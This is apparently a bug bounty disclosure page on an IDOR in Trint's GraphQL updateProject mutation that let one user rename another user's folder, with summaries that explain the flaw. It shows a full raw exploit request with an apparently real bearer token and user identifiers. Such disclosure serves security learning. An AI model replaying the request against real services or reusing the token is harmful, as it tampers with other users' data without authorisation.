IDOR to update folder name of other user
A GraphQL mutation that renames a project accepted a project identifier belonging to another user, so any logged-in user could rename someone else's folder. An attacker could change the folder name of another user without permission.
- Triaged in 11 hours
- Fixed in 12 days
- Disclosed after 42 days
###Summary There is an IDOR to update folder name of other user
###Steps To Reproduce:
- user A login to the application and see the folder name

- user B login to the application and call the API with the projectId of user A
POST / HTTP/1.1
Host: graphql2.trint.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.trint.com/trints
content-type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJodHRwczovL2FwcC50cmludC5jb20vaXNOZXdVc2VyIjp0cnVlLCJodHRwczovL2FwcC50cmludC5jb20vdXNlcklkIjoiNWNlNTAyYTIxZTFjYWY3NTBkNmM3ZjU5IiwiaXNzIjoiaHR0cHM6Ly90cmludC5hdXRoMC5jb20vIiwic3ViIjoiZmFjZWJvb2t8NTM5NjM3MDE2NTY4MjUxIiwiYXVkIjoiaWNoNGh5VllQS0tnZUVvVGg2ZldQWGM2ZnJ2ZVRjVHEiLCJpYXQiOjE1NTg1MTIyOTYsImV4cCI6MTU2MDg3Mjg4MH0.umWI5RJnC3bO1NbP5TFI0A37H182U7J0WC3d_5W0xLc
X-Trint-Request-Id: 53c6c888-89a3-402b-b6f5-2dedc3f69aa8
X-Trint-Super-Properties: {"distinct_id":"5ce502a21e1caf750d6c7f59","$device_id":"16ade919a91481-044fc792d93be1-4c312272-1fa400-16ade919a9274","$initial_referrer":"$direct","$initial_referring_domain":"$direct","returningUser":false,"$user_id":"5ce502a21e1caf750d6c7f59"}
Origin: https://app.trint.com
Content-Length: 490
Connection: close
{"operationName":"updateProject","variables":{"userId":"5ce502a21e1caf750d6c7f59","projectName":"abctesthorizontal","projectId":"i2lu5qZVTwWnQQhPp_g8Ig"},"query":"mutation updateProject($userId: String!, $projectName: String!, $projectId: String!) {\n updateProject(userId: $userId, projectName: $projectName, projectId: $projectId) {\n ...RenameProjectFragment\n __typename\n }\n}\n\nfragment RenameProjectFragment on Project {\n _id\n projectName\n updated\n __typename\n}\n"}

- After that, the folder name of user A is changed

Impact
An attacker could update folder name of other user.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the updateProject mutation trusted the supplied projectId without checking that it belonged to the authenticated user.
Impact
An attacker could rename another user's folder, a low-impact integrity issue limited to folder names.
What the attacker needed
Two accounts; attacker knows victim's projectId
How it was found
- User A logs in and notes the folder name.
- User B logs in and sends the updateProject request using user A's projectId.
- User A's folder name is changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Every project has a unique identifier. The server should check that the person asking to rename a project actually owns it, but it did not. So one user could rename another user's folder just by sending that folder's identifier.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.